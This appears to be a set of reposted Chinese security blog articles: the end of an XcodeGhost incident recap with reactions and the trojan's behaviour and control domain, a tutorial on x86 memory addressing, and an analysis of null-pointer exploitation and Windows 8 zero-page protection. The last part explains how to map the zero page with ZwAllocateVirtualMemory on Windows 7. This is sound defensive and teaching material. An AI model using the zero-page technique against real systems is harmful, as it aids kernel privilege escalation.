【21:43】中招的@腾讯微信团队 在微博发声明,里面提到:

1.该问题仅存在iOS 6.2.5版本中,最新版本微信已经解决此问题,用户可升级微信自行修复,此问题不会给用户造成直接影响。

全文:http://weibo.com/p/1001603888540667758451

 

2015-09-19

【凌晨 4:39】自称 XcodeGhost 作者的网友在微博发声明,称只是实验项目,无任何威胁

以下引用部分微博上针对该声明的评论:

@唐巧_boy:我刚刚看了一下作者放出的源码,和逆向出来的代码行为一致,应该是真的。

@南非蜘蛛:你有点小调皮,想进监狱了是吧?

@Daniel_K4:作者是实验么?持续传播了半年,我不太相信。。。现在才出来发布说明,应该是被定位到吓坏了吧。

@Livid:一个程序员出于试验目的做的修改版 Xcode.dmg 能够通过自然分发的方式装到那么多重要 App 的开发环境里,也是一件挺不可思议的事情。

@Easy:翻一下就是「我就配了把你家钥匙。还没开始偷东西呢,当然是无害了」。

@tombkeeper 事闹大了,就会变成公安部督办案件,就几乎一定能破案,几乎一定能抓到人。这时候无论自首还是跑路都比发“澄清”有意义得多。

@onevcat:算个账,微信用户总数 5 亿日活70%。每天每人就算5个POST请求,每个请求300Byte,日流入流量就接近500G,以及17.5亿次请求。据说服务器扔在亚马逊,那么资费算一下每个月应该是存储$450,请求$260K。这还只是单单一个微信,再算上网易云音乐等等,每月四五十万刀仅仅是苦逼iOS开发者的个人实验?

2015-09-19  上午

为避免给更多用户造成可能是伤害,苹果公司开始下架受感染的 APP,并给相应开发商发邮件

图来自@小小小小_灿,可能看不清。在邮件中,苹果也说明了重新上架的条件:

  1. 从官方下载 Xcode;
  2. 重新编译打包;
  3. 提交等待审核;

 


【开发圈和安全圈的事后讨论】

(不分时间顺序)

@Saic:

苹果以审核严格著称,为何会允许应用上架???

 

恶意代码加载到程序中后,将收集到的用户信息加密,发送到远程服务器。

收集的信息包括系统版本,程序名称,用户的唯一识别 ID,语言等非敏感信息。

对苹果来说,这段代码与普通的第三方统计代码并没有区别,甚至你在使用一些程序内的微博登陆或微信分享功能时,微博和微信都可能会收集这些信息到自己的服务器。

因为没有涉及到苹果禁止开发者使用的接口,一切看起来都很正常,所以带有恶意代码的应用可以正常发布到 App Store。

 

对我有什么影响???

根据目前的研究进展以及自称是开发者公布的恶意代码源码,代码主要做了以下事情:

在用户安装了目标应用后,木马会向服务器发送用户数据。

服务器会返回一些可以让程序弹出提示的控制代码,例如:

  • 用户名密码错误,请到以下地址修改,用户确认后跳转到一个伪造的钓鱼网站
  • 弹出 App Store 官方的应用下载页面,诱导用户下载
  • 程序有升级,用户确认后可以利用非官方渠道、修改过的应用替换掉当前应用
  • 其他非官方应用程序的推广和下载

因为弹窗是从用户信任的应用里弹出,很多时候不会多做怀疑就会授权或确认下载。

另外根据相关研究,代码可能存在多种变种 [ 3 ],可能存在直接窃取用户 Apple ID 的版本,模拟系统登陆框在技术上是可行的。

Via: http://weibo.com/p/1001603888803550000430

 

@图拉鼎:

对于 iOS 开发者的建议,立即删除从不明来源下载的 Xcode,即使你是用官方地址然后在迅雷上下载的,最后从 App Store 安装最新版本的 Xcode。有条件的公司应该在今天开始专门设置一台有专人管理的 Build Server,所有发布至 App Store 的 App 只能从该台电脑 Build 并发布,以防止未来此类事件的再现。

 

@sunny_THU:

2. 这件事情是不是很严重

可以说很严重,也可以说不严重。说这件事情很严重,是因为我们把程序的控制权分享分享给了第三个人,他可以做任何程序内部的操作,包括监控输入,支付,跳转,用户的内容等行为(但也仅限于单个中毒的app内部,系统层的内容和别的app的内容是拿不到的,这里就不得不感谢苹果的沙盒机制,在机制上保护了一定的安全性),并且这次攻击证明根本上苹果软件的开发和提交机制是有漏洞的,更严重的问题是会不会已经有了一些别的病毒在软件中,只是没有被发现。 不严重是因为这次的病毒如果按照木马作者披露的源码,并没有做严重损害用户隐私的事情(一些安全机构逆向了源码,基本和作者公开的代码符合 http://security.tencent.com/index.php/blog/msg/96 )。

3. 怎么避免这种事情

“程序最大的bug不是程序自身,而是人”。这次事件是各种因素一起影响的结果,开发者根本没有意识到Xcode都会被攻击,国内网络环境太差,公司不配备VPN等等。而开发者作为软件的开发者和安全的负责人以及直接责任人更需要去规范和争取,因为你比其他人知道的更多,也更清楚问题有多严重。

 

@TK 教主:

2015 年 3 月 10 日的这篇文章透露:美国圣地亚国家实验室在 2012 年 CIA 的秘密会议“Jamboree”上提出被称作“Strawhorse”的攻击方式:通过修改 Xcode 使开发商不知情地发布带有后门的 APP。“codefun” 开始散布修改后的 Xcode 是在 3 月中旬,不知道是不是受了这个启发。

 

@月光博客:

迅雷的回应如下:对于Xcode被植入恶意代码一事,有猜测称迅雷服务器受到感染,导致使用迅雷会下载到含有恶意代码的Xcode。迅雷第一时间安排工程师进行检测,并对比了离线服务器上的文件,结果都与苹果官方下载地址的文件信息一致。也就是说,官方链接的Xcode经迅雷下载不会被植入恶意代码。

XcodeGhost事件并不表明苹果iOS的安全性相比安卓有什么问题,实际上,就开发环境来说,安卓实际上也是一样的,苹果的开发软件下载速度慢,而安卓的开发软件不翻墙根本无法从官网下载,大量安卓开发者都不是从官网下载的开发环境,很多开发工具来路不明,因此安卓很可能也存在类似问题。

 

@唐巧:

XcodeGhost 这件事情,苹果自己也有责任,Mac App Store下载速度慢得要死,每次下Xcode花个几十分钟非常正常,这才造成大家都用迅雷和百度网盘这种非官方渠道。就说现在吧,我的Mac系统更新了一上午,还是处于卡顿无进度状态。[泪]

 

@腾讯玄武实验室:

虽然目前 init.icloud-analysis.com 等 XcodeGhost 相关域名已经不可访问,XcodeGhost 的始作俑者可能也不会再利用其干坏事,但这并不代表其他人不会。

有心干坏事的人,可以通过 DNS 投毒、伪造 WiFi 接入点等手段,控制或大或小的一个地区对 init.icloud-analysis.com 等域名的解析,从而变成 XcodeGhost 的控制者。所以受影响的 APP 开发商还是应该尽快发布干净的版本让用户升级。

 

 


【主页君留言】:今天这篇耗时 2+ 小时。如果各位觉得不错,请分享给其他朋友。

微信号:iProgrammer

(长按上图,可自动识别二维码)

其他媒体和公号若转载

必须保留全文完整内容,包括本段声明和二维码图片

 

让微信等知名 APP 都中招的 XcodeGhost 事件全面详细回顾,首发于博客 – 伯乐在线

内存寻址原理

在做网络安全事件分析的时候,都会遇到内存寻址的知识,例如上次跟大家分享的《 空指针漏洞防护技术》,就涉及到非法访问内存地址的问题。如果这个坎儿迈不过去,你就会迷失在代码中,更无从分析了。今天绿盟科技的安全技术专家就讲讲这个内存寻址的原理,文章分为上下两篇《内存寻址原理》及《内存寻址方式》。

随着信息化发展和数据处理能力需求的提高,对计算机硬件产品的性能和容量也提出了新的挑战,要求计算机处理能力也要能随实际情况需求的变动而提升、改变。

当下,一台普通的电脑硬盘容量也要200多G,内存也有4G;如此大容量的硬盘和内存,在处理大量数据或是大型游戏面前还是显得力不从心,需要通过扩容来满足需求,比如将内存由4G提升到8G或是16G不等。扩容后对个人体验确实提升不少。对于内存容量的提升需要有相应的硬件基础支撑,需要有能消化掉这么多内存的寻址地址。比如说如果一8位单片机如果要装载16G的内存,那就是暴殄天物。

哪里有需求哪里就有市场 ;计算机从8位的51单片机,20位8086寻址,发展到32位 win2003,64位win10,都是由于信息化需求的膨胀推动着计算机一代又一代的改革创新。

对于内存的扩容,很多人都不是很清楚应用程序如何使用的物理内存地址。远了不说,单说现在常用计算机中的32位、64系统;系统是怎么样将虚拟地址转化成线性地址,线性地址又是怎样转换成物理地址的,其中又用到了哪些寄存器或是数据结构,相信很多人对此也是一知半解;也像我一样,想结合实例从地址转换的本质来掌握其精髓之处。接下来就一起学习从逻辑地址到物理地址的整个转换过程。

1.实模式与保护模式简介

CPU常见三种工作模式:实模式与保护模式,虚拟8086模式。

实模式 :CPU复位(reset)或加电(power on)的时候以实模式启动,处理器以实模式工作。在实模式下,内存寻址方式和8086相同,由16位段寄存器的内容乘以16(10H)当做段基地址,加上16位偏移地址形成20位的物理地址,最大寻址空间1MB。在实模式下,所有的段都是可以读、写和可执行的。实模式下没有分段或是分页机制,逻辑地址和物理地址相等。

由此得知:

  1. 在实模式下最大寻址空间时1M,1M以上的内存空间在实模式下不会被使用。
  2. 在实模式所有的内存数据都可以被访问。不存在用户态、内核态之分。
  3. 在BIOS加载、MBR、ntdlr启动阶段都处在实模式下。

保护模式 :对于保护模式大家并不陌生;是目前操作系统的运行模式,利用内存管理机制来实现线性地址到物理地址的转换,具有完善的任务保护机制。

保护模式常识:

  1. 现在应用程序运行的模式均处于保护模式。
  2. 横向保护,又叫任务间保护,多任务操作系统中,一个任务不能破坏另一个任务的代码,这是通过内存分页以及不同任务的内存页映射到不同物理内存上来实现的。
  3. 纵向保护,又叫任务内保护,系统代码与应用程序代码虽处于同一地址空间,但系统代码具有高优先级,应用程序代码处于低优先级,规定只能高优先级代码访问低优先级代码,这样杜绝用户代码破坏系统代码。

虚拟8086 模式: 简称V86模式是运行在保护模式中的实模式,为了在32位保护模式下执行纯16位程序。可以把8086程序当做保护模式的一项任务来执行。虚拟8086允许在不退出保护模式的情况下执行8086程序。

虚拟8086常识:

  1. 寻址的地址空间是1M字节.
  2. 可以在虚拟8086模式下运行16位DOS程序。
  3. 在V86模式下,代码段总是可写的;这与实模式相同,同理,数据段也是可执行的。
  4. 32系统编写V86模式的程序:

2. 保护模式寻址基础知识

接下来就以32位系统为例,介绍保护模式下,内存中一些地址转换相关的寄存机和数据结构。

2.1 内存地址概念

逻辑地址 :在进行C语言编程中,能读取变量地址值(&操作),实际上这个值就是逻辑地址,也可以是通过malloc或是new调用返回的地址。该地址是相对于当前进程数据段的地址,不和绝对物理地址相干。只有在Intel实模式下,逻辑地址才和物理地址相等(因为实模式没有分段或分页机制,CPU不进行自动地址转换)。应用程序员仅需和逻辑地址打交道,而分段和分页机制对一般程序员来说是完全透明的,仅由系统编程人员涉及。应用程序员虽然自己能直接操作内存,那也只能在操作系统给你分配的内存段操作。一个逻辑地址,是由一个段标识符加上一个指定段内相对地址的偏移量,表示为 [段标识符:段内偏移量]。

线性地址 :是逻辑地址到物理地址变换之间的中间层。程序代码会产生逻辑地址,或说是段中的偏移地址,加上相应段的基地址就生成了一个线性地址。如果启用了分页机制,那么线性地址能再经变换以产生一个物理地址。若没有启用分页机制,那么线性地址直接就是物理地址。Intel 80386的线性地址空间容量为4G(2的32次方即32根地址总线寻址)。

物理地址(Physical Address) 是指出目前CPU外部地址总线上的寻址物理内存的地址信号,是地址变换的最终结果地址。如果启用了分页机制,那么线性地址会使用页目录和页表中的项变换成物理地址。如果没有启用分页机制,那么线性地址就直接成为物理地址了,比如在实模式下。

2.2 虚拟地址,线性地址,物理地址关系

对于保护模式下地址之间的转换,对程序员来说是透明的。那么物理内存通过内存管理机制是如何将虚拟地址转换为物理地址的呢?当程序中的指令访问某一个逻辑地址时,CPU首先会根据段寄存器的内容将虚拟地址转化为线性地址。如果CPU发现包含该线性地址的内存页不在物理内存中就会产生缺页异常,该异常的处理程序通过是操作系统的内存管理器例程。内存管理器得到异常报告后会根据异常的状态信息。特别是CR2寄存器中包含的线性地址,将需要的内存页加载到物理内存中。然后异常处理程序返回使处理器重新执行导致页错误异常的指令,这时所需要的内存页已经在物理内存中,所以便不会再导致页错误异常。

2.3 段式机制及实例分析

前面说到在线性地址转换为物理地址之前,要先由逻辑地址转换为线性地址。系统采用段式管理机制来实现逻辑地址到线性地址的转换。保护模式下,通过”段选择符+段内偏移”寻址最终的线性地址。

CPU的段机制提供一种手段可以将系统的内存空间划分为一个个较小的受保护的区域,每个区域为一个段。相对32位系统,也就是把4G的逻辑地址空间换分成不同的段。每个段都有自己的起始地址(基地址),边界和访问权限等属性。实现段机制的一个重要数据结构就是段描述符。

下面是个程序实例中显示除了各个段的值:

图中给出了代码段CS,堆栈段SS,数据段DS等段寄存器的值;从得到的值可知,SS=DS=ES是相等的,至于为什么有些段的值相等,后面会说到。 以实例中给出的地址0x83e84110 为例,哪里是段描述符,哪里是段内偏移, 又是如何将该逻辑地址转换为线性地址的呢?相信很多人都迫不及待的想知道整个转换过程,接下来就要看看逻辑地址到线性地址详细转换过程。

上面说到段式管理模式下有段选择符+段内偏移寻址定位线性地址,其实际转换过程如下图所示

从图中可知,逻辑地址到线性地址的转换,先是通过段选择符从描述符表中找到段描述符,把段描述符和偏移地址相加得到线性地址。也就是说要想得到段描述符需要三个条件:

  1. 得到段选择符。
  2. 得到段描述符表
  3. 从段描述符表中找到段描述符的索引定位段描述符。

前面我们提到了段描述符 + 偏移地址,并没有提段选择符和段描述符表。所以我们要弄清楚这几个观念段选择符,段描述符表,段描述符,以及如何才能得到这几个描述符?

2.3.1 段描述符基础知识

从上图可知,通过段选择符要通过段描述符表找到段描述符,那么段描述符表是什么,又是怎么得到段描述符表呢?

在保护模式下,每个内存段就是一个段描述符。其结构如下图所示:

图中看出,一个段描述符是一个8字节长的数据结构,用来描述一个段的位置、大小、访问控制和状态等信息。段描述符最基本内容是段基址和边界。段基址以4字节表示(图中可看出3,4,5,8字节)。4字节刚好表示4G线性地址的任意地址(0×00000000-0xffffffff)。段边界20位表示(1,2字节及7字节的低四位)。

2.3.2 段描述符表实例解析

在现在多任务系统中,通常会同时存在多个任务,每个任务会有多个段,每个段需要一个段描述符,段描述符在上面一小节已经介绍,因此系统中会有很多段描述符。为了便于管理,需要将描述符保存于段描述符表中,也就是上图画出的段描述符表。IA-32处理器有3中描述符表:GDT,LDT和IDT。

GDT是全局描述符表。一个系统通常只有一个GDT表。GDT表也即是上图中的段描述符表,供系统中所以程序和任务使用。至于LDT和IDT今天不是重点。

那么如何找到GDT表的存放位置呢?系统中提供了GDTR寄存器用了表示GDT表的位置和边界,也就是系统是通过GDTR寄存器找到GDT表的;在32位模式下,其长度是48位,高32位是基地址,低16位是边界;在IA-32e模式下,长度是80位,高64位基地址,低16位边界。

位于GDT表中的第一个表项(0号)的描述符保留不用,成为空描述符。如何查看系统的GDT表位置呢?通过查看GDTR寄存器,如下图所示

从上图看出GDT表位置地址是0×8095000,gdtl值看出GDT边界1023,总长度1024字节。前面知道每一项段描述符占8字节。所以总共128个表项。图中第一表项是空描述符。

2.3.3 段选择符结构

前面我们介绍了段描述符表和段描述符的格式结构。那么如何通过段选择符找到段描述符呢,段选择符又是什么呢?

段选择符又叫段选择子,是用来在段描述符表中定位需要的段描述符。段选择子格式如下:

7

段选择子占有16位两个字节,其中高13位是段描述在段描述表中的索引。低3位是一些其他的属性,这里不多介绍。使用13位地址,意味着最多可以索引8k=8192个描述符。但是我们知道了上节GDT最多128个表项。

在保护模式下所有的段寄存器(CS,DS,ES,FS,GS)中存放的都是段选择子。

2.3.4 逻辑地址到线性地址转换实例解析

已经了解了逻辑地址到虚拟地址到线性地址的转换流程,那就看看在前面图中逻辑地址0x83e84110对应的线性地址是多少?

首先,地址0x83e84110对应的是代码段的一个逻辑地址,地址偏移已经知道,也就是段内偏移知道,通过寄存器EIP得到是0x83e34110。段选择符是CS寄存器CS=0008,其高13位对应的GDT表的索引是1,也就是第二项段描述符(第一项是空描述符)。GDT表的第二项为标红的8个字节

通过段描述的3,4,5,8个字节得到段基址。

如上图所示第二项段描述符的3,4,5,8字节对应的值为0×00000000。由此我们得到了段机制和段内偏移。最后的线性地址为段基址+段内偏移=0×0+0x83e34110=0x83e34110。

由此我们知道在32系统中逻辑地址就是线性地址。

其实通过观察其他的段选择子会发现,所有段选择子对应的基地址都是0×0,这是因为在32系统保护模式下,使用了平坦内存模型,所用的基地址和边界值都一样。既然基地址都是0,那么也就是线性地址就等于段内偏移=逻辑地址。

总之:

  1. 段描述符8字节
  2. GDTR是48位
  3. 段选择子2个字节。

2.4 页式机制及实例分析

前面介绍了由逻辑地址到线性地址的转换过程,那么接下来就要说说地址是如何将线性地址转为物理地址。需要先了解一些相关的数据结构。

前面说到如果CPU发现包含该线性地址的内存页不在物理内存中就会产生缺页异常,该异常的处理程序通过是操作系统的内存管理器例程。内存管理器得到异常报告后会根据异常的状态信息。特别是CR2寄存器中包含的线性地址,将需要的内存页加载到物理内存中。然后异常处理处理返回使处理器重新执行导致页错误异常的指令,这时所需要的内存页已经在物理内存中,所以便不会再导致也错误异常。

32位系统中通过页式管理机制实现线性地址到物理地址的转换,如下图:

2.4.1 PDE结构及如何查找内存页目录

从上图中我们知道通过寄存器CR3可以找到页目录表。那么CR3又是什么呢?在32系统中CR3存放的页目录的起始地址。CR3寄存器又称为页目录基址寄存器。32位系统中不同应用程序中4G线性地址对物理地址的映射不同,每个应用程序中CR3寄存器也不同。也就是说每个应用程序中页目录基址也是不同的。

从上图知道页目录表用来存放页目录表项(PDE),页目录占一个4kb内存页,每个PDE长度为4字节,所以页目录最多包含1KB。没启用PAE时,有两种PDE,这里我们只讨论使用常见的指向4KB页表的PDE。

页目录表项的高20位表示该PDE所指向的起始物理地址的高20位,该起始地址的低12位为0,也就是通过PDE高20位找到页表。由于页表低12位0,所以页表一定是4KB边界对齐。 也就是通过页目录表中的页目录表项来定位使用哪个页表(每一个应用程序有很多页表)。

以启动的calc程序为例,CR3寄存器是DirBase中的值,如下图

Calc.exe程序对应的CR3寄存器值为0x2960a000,下面是对应PDT结构

2.4.2页表结构解析

页表是用来存放页表表项(PTE)。每一个页表占4KB的内存页,每个PTE占4个字节。所以每个页表最多1024个PTE。其中高20位代表要使用的最终页面的起始物理地址的高20位。所以4KB的内存页也都是4KB边界对齐。

内存寻址原理,首发于博客 – 伯乐在线

空指针漏洞防护技术(提高篇)

在《空指针漏洞防护技术-初级篇》中我们介绍了空指针及空指针漏洞的概念,在这次高级篇中介绍空指针利用及相应的防护机制。

1 提高篇之:空指针的利用

前面主要介绍了空指针的一些概念和相关的知识,了解了什么是空指针,对于由野指针导致的空指针漏洞不是今天的重点。接下来主要就针对指向零页内存的空指针漏洞做详细的介绍。

此类漏洞利用主要集中在两种方式上:

  1. 利用NULL指针。
  2. 利用零页内存分配可用内存空间

对于第一种情况可以利用NULL指针来绕过条件判断或是安全认证。比如X.0rg空指针引用拒绝访问漏洞(CVE-2008-0153 ),如下图对比修改补丁前后的对比:

从代码补丁可以看出该漏洞利用NULL指针改变程序流程来触发漏洞。

针对第二种情况,在某些情况下零页内存也是可以被使用,比如下面两种情况:

  1. 在windows16系统或是windows16虚拟系统中,零页内存是可以使用的;在windows 32位系统上运行DOS程序就会启动NTVDM进程,该进程就会使用到零页内存。
  2. 通过ZwAllocateVirtualMemory等系统调用在进程中分配零页内存(win7系统之前)。

接下来结合ZwAllocateVirtualMemory API函数的调用直观感受在win7与win8系统中零页内存分配的差异。

1.1 ZwAllocateVirtualMemory基本介绍

zwAllocateVirtualMemory函数在指定进程的虚拟空间中申请一块内存,那是不是只要在内存申请空间就会调用zwAllocateVirtualMemory函数呢?调用zwAllocateVirtualMemory需要根据实际的情况。

堆的分配、使用、回收都是通过微软的API来管理的,最常见的API是malloc和new。在底层调用是HeapAlloc,同时通过HeapCreate来创建堆。对zwAllocateVirtualMemory函数的调用情况是:

. HeapCreate->RtlCreateHeap->ZwAllocateVirualMemory,这里会直接申请一大块内存,至于申请多大的内存,由进程PEB结构中的字段决定,HeapSegmentReserve字段指出要申请多大的虚拟内存,HeapSegmentCommit指明要提交多大内存。

图中看出默认申请大小是0×100000,默认提交大小是0×2000。下图是利用Heapcreate函数调用zwAllocatevirtualMemory时的函数调用栈关系。

图中展示了函数的调用过程。

  1. HeapAlloc->RtlAllocateHeap-> ZwAllocateVirualMemory,这里的内存申请是由Heapcreate已经提交的内存中申请。堆管理器从这片内存中划分一块出来以满足申请的需要,仅当申请的内存不够的时候,才会再次调用ZwAllocateVirualMemory函数。 **也就是说,我们平时使用**** malloc ****或是**** new *\*在堆上申请一块小的内存是不会调用该函数的。** 这点大家要注意。下图中展示了利用HeapAlloc调用ZwAllocateVirualMemory的过程:

c. 直接利用zwAllocateVirtualMemory分配内存,对于zwAllocateVirtualMemory函数,微软没有给出公开的文档,但是可以通过相关资料或是逆向来了解该函数的使用方式。直接利用zwAllocateVirtualMemory函数分配内存首先加载函数所在模块,同时获取该函数的符号地址。由于该函数提供了比较全面的参数,利用此函数来分配内存空间更加灵活多变。

1.2 ZwAllocateVirtualMemory函数知识

zwAllocateVirtualMemory该函数在指定进程的虚拟空间中申请一块内存,该块内存默认将以64kb大小对齐。

NTSYSAPI NTSTATUS NTAPI **ZwAllocateVirtualMemory** (
IN HANDLE *ProcessHandle*,
IN OUT PVOID **BaseAddress*,
IN ULONG *ZeroBits*,
IN OUT PULONG *RegionSize*,
IN ULONG *AllocationType*,
IN ULONG *Protect*
);

两个主要参数:

返回值

如果内存空间申请成功会返回0,失败会返回各种NTSTATUS码。

从zwAllocateVirtualMemory说明来看,本想利用BaseAddress参数在零页内存中分配空间,但是当BaseAdress指定为0时,系统会寻找第一个未使用的内存块来分配,而不是在零页内存中分配。那么如何才能分配到零页内存呢?

1.3 零页内存分配之实例win7 vs win8

了解了zwallocatevirtualmemory的用法,就结合实例来看看如何利用该函数进行零页内存分配。前面介绍将BaseAdress设置为0时,并不能在零页内存中分配空间,就需要利用其它方式在零页内存分配空间。在AllocateType参数中有一个分配类型是MEM_TOP_DOWN,该类型表示内存分配从上向下分配内存。那么此时指定 BaseAddress为一个 低地址,例如 1,同时指定分配内存的大小 大于这个值 ,例如8192(一个内存页),这样分配成功后 地址范围就是 0xFFFFE001(-8191) 到 1把0地址包含在内了,此时再去尝试向 NULL指针执行的地址写数据,会发现程序不会异常了 。通过这种方式我们发现在0地址分配内存的同时,也会在高地址(内核空间)分配内存(当然此时使用高地址肯定会出错,因为这样在用户空间)。

下面就举个例子看如何在零页分配内存

了解windows编程的情况下,对上面的代码不难理解,获取模块句柄,获取zwAllocateVirtualMemory函数地址,并传递参数调用该函数,其中baseaddress的值为4,参数类型中包含了MEM_TOP_DOWN,即内存由上向下分配。所以如果成功的话,将把零页内存中的地址4-0都会分配出去;函数返回0表示内存分配成功。然后再给0地址赋值打印,对0地址重新赋值后再次打印,查看结果。

为了能对比win7与win8系统运行结果的差异,需要准备两个干净的系统win7和win8,这里采用的都是32位系统。

在win7系统中直接编译运行该程序,运行结果如下

从显示结果来看,利用zwAllocateVirtualMemory函数,确实在零内存页分配了4-0地址的空间,也就是说我们可以利用zwAllocateVirtualMemory在零页内存中成功分配空间。

同时在win8系统中同时编译该程序,如果F5调试运行结果如下图:

或是CTRL+F5非调试运行,其结果如下图:

在win8系统中在调用zwallocatevirtualmemory后,函数返回了非0,返回值为0Xc00000f0。最终没能在零页内存分配空间。也就是说在win8系统中对零页内存做了安全防护,导致在零页地址分配内存时失败。

接下来看看win8系统中到底对NULL Pointer也就是零页内存做了哪些防护。

2 提高篇:windows零页内存防护机制

win8系统对零页内存防护机制通过搜索引擎可以查到: **在**** WIN8 ****系统中利用了内核进程结构**** EPROCESS ****中的**** flags ****字段的**** Vdmallowed *\*标志来判断是否允许访问零页内存。** 但是知其然而不知其所以然不是我们追求的目标。我们要做的就是在不依靠其他文献的条件下通过逆向和动态调试技术来剖析win8对零页内存的防护机制。

2.1 搭建内核调试环境

探索Win8的零页内存保护机制在内核中的实现,首先需要搭建一个能调试内核的环境。利用上面给出的例子结合内核调试来分析安全机制。关于如何搭建内核环境在之前的文章中已经介绍过,这里再累赘一下。

5.1.1 虚拟机及调试环境

搭建内核调试环境,采用双机调试模式,在虚拟机中安装win8系统同时配置win8调试模式。

Vmware安装win8系统就不在详解。系统启动后:

管理员权限打开CMD

按照上面的步骤配置好后,关闭虚拟机,打开win8虚拟机配置选项,删除并行端口,添加串行端口,同时配置串行端口,如下图:

配置好vmware后启动虚拟机进入调试模式,如下图:

5.1.2 配置启动windbg

双机模式调试内核需要配置windbg工具,现在主机中安装windbg;创建一个windbg的快捷方式,并在属性->目标中填入如下内容:

"C:\program file\WinDbg(x64)\windbg.exe" -b -k com:pipe,port=\.\pipe\com_1,baud=115200,resets=0,pipe

Windbg路径根据安装路径不同而调整。

启动windbg,由于我的主机是win7系统如果直接双击windbg快捷方式启动

这是缺少必要的权限,所以在启动windbg快捷方式时,需要以管理员的权限启动,启动完成后就可以和虚拟机中的win8系统进行内核级调试,启动之后的结果如下图:

到此内核调试的基本环境创建好了,为了能够更加直观的查看windows系统函数及调用关系需要为windbg配置符号表,这样windbg可以识别出windows标准的导出符号,同时为了能够更方便的调试nullpointer,也需要加载该程序的符号表。

到此内核调试环境搭建完成。

2.2 用户态及内核态跨栈调试

该部分是动态调试的关键部分,也是注意事项最多的一节。

5.2.1 内核调试用户态程序

在上面配置好环境后,在windbg中运行G命令,启动调试。启动程序后,同时在windbg中按住CRTL+BREAK断到调试器中。此时win8系统处于中断状态,不会再运行任何指令。

调试器断下来

我们知道在win7与win8中调用zwallocatevirtualmemory时由于零页内存保护机制的原因,win8系统不能在零页内存分配空间。那么就从调试nullpointer入手,通过调用zwallocatevirtualmemory调试内核态程序来剖解安全机制。

但是现在windbg处于内核调试状态,查看所有启动的进程

需要切换到nullpointer进程中。加载了nullpointer符号表。查看main函数的反汇编如下图所示:

5.2.2 用户态进入内核态

跟进该函数,最后进入

进入了sysenter指令之前,对windows系统有所了解的话,就知道该函数利用该调用进入快速系统调用也就是说此时将由用户态进入内核态。

SYSENTER用来快速调用一个0层的系统过程。SYSENTER是SYSEXIT的同伴指令。该指令经过了优化,它可以使将由用户代码(运行在3层)向操作系统或执行程序(运行在0层)发起的系统调用发挥最大的性能。

在调用SYSENTER指令前,软件必须通过下面的MSR寄存器,指定0层的代码段和代码指针,0层的堆栈段和堆栈指针:

  1. IA32_SYSENTER_CS:一个32位值。低16位是0层的代码段的选择子。该值同时用来计算0层的堆栈的选择子。

2.IA32_SYSENTER_EIP:包含一个32位的0层的代码指针,指向第一条指令。

3.IA32_SYSENTER_ESP:包含一个32位的0层的堆栈指针。

MSR寄存器可以通过指令RDMSR/WRMSR来进行读写。寄存器地址如下表。这些地址值在以后的intel 64和IA32处理器中是固定不变的。

为了能保证我们调试的**** NT!NtAllocatevirtualMemory ****函数刚好是**** nullpointer ****调用的,需要给**** NT!NtAllocatevirtualMemory ****函数下断点,意思是只在指定进程调用该函数时才断下来。** 待函数断下来后,同时查看函数调用栈如下图 **:

从图中调用栈可知,此时断下来的NT!NtAllocatevirtualMemory刚好是nullpointer引用的内核函数。此时已经进入内核调试状态。

5.3 逆向分析nt!NtAllocateVirtualMemory

进入win8内核调试,就要结合静态分析和动态调试来挖掘有用的信息。首先找到win8内核文件。 **需要注意的是此时分析的是虚拟机中**** win8 ****系统的内核文件,不是**** win7 *\*主机的内核文件。**

5.3.1 NtAllocatevirtualMemory参数确认

在前面的调试中,windbg断在了NT! NtAllocatevirtualMemory函数的入口处。对比NtAllocatevirtualMemory函数在windbg和IDA反编译的结果:

可知,在运行完指令call __SEH_prolog4_GS,后EBP+8为第一个参数,EBP+C为第二个参数,那就看看在调用call __SEH_prolog4_GS后EBP的值,如下图:

第一个参数是进程句柄,本进程句柄刚好是-1,第二个参数基地址指针,之前我们在程序中基地址是4,也就是0×00000004,查看基地址指针的值:

刚好是0×00000004,用户态传入的第三个参数是0,这里的第三个参数也刚好是0。其他参数不在一一列举;也就是是说内核函数NtAllocatevirtualMemory与用户态函数zwallocatevirtualmemory参数是一致的。

5.3.2 查找NtAllocatevirtualMemory 零页内存安全机制

到了最重要的时刻,接下来动态调试NtAllocatevirtualMemory, 一路单步执行,看到eax=0xc00000f0时停下:

从图中可知并EAX来自于ESI的赋值。那就继续往上看,看ESI的值是从哪里来的

从图中看出,在执行test[edi+0C4],1000000h指令后,如果相等就执行了mov esi,0xc00000f0。

5.3.3 确认NtAllocatevirtualMemory零页内存安全机制

前面已经找到了返回0xc00000f0的地方,接下来就要看看条件判断的地方, EDI=0x84b2ac80是EPROCESS进程的地址,查看EPROCESS结果可知:

在结构eprocess偏移0xc4的位置刚好是标志Vdmallowed,该值是0,并且[edi=0xc4] 与上1000000后刚好是零。导致ESI=0xc00000f0,进而导致EAX=0xc00000f0。

**到此基本上已经确认了**** NtAllocateVirtualMemory ****中对**** NULLPage ****的安全机制,就是检查**** EPROCESS ****中的**** VdmAllowed *\*的标志位。**

确定条件判断确定位置

从判断语句来看V76应该是参数中的基地址,V14应该是EPROCESS的地址。看一下这两个值的来源

从上图可知v76就是baseaddress; V14追溯到keGetCurrentThread,在内核模式下FS却指向KPCR(Kernel’s Processor Control Region)结构。即FS段的起点与KPCR结构对齐。看一下KPCR结构偏移124的位置

图中可知偏移124的位置刚好的当前线程的结构地址。通过查看函数KeGetCurrentThread的实现也能证实这一点,如下图:

线程结构地址+128(0×80)的位置刚好是当前进程的内核地址,如下图所示:

之后NtAllocateVirtualMemory函数在将进程结构地址偏移0xC4值与0×1000000做比较判断做安全检查。

到目前为止,NtAllocateVirtualMemory函数对零页内存的保护机制剖析完成。总结一下:

  1. 判断基地址是否小于**** 0×1000000,
  2. 判断内核结构**** EPROCESS ****的**** Vdmallowed ****标志是否为**** 0

5.3.4 查找内核中其他对零页内存保护的函数

通过对NtAllocateVirtualMemory逆向分析和动态跟踪了解了win8中对零页内存的保护机制;那么除了NtAllocateVirtualMemory函数,在内核中是否还有其他的函数也对零页内存进行了安全检查呢?

通过在整个NT内核文件中查找零页内存保护机制,又发现了几个包含零页内存包含的函数,搜索结果如下图:

也就是说在内核文件中除了NTAllocateVirtualMemory外,还有四个函数对零页内存做检测:

  1. MiIsVaRangeAvailable:
  2. MiMapViewOfPhySicalSection
  3. MiMapLockedPagesInUserSpace
  4. MiCreatePebOrTeb

这四个函数不都是导出函数,也就是说在内核编程中有可能我们使用的一些导出函数中内部调用了这四个函数中的某一个,其内部已经做了零页内存检测。

6 总结

本文先是介绍了什么是空指针漏洞,之后对windows系统的零页内存保护机制做了剖析。

空指针漏洞:

对零页内存的安全防护:

  1. 检测分配页是否在零页内存。
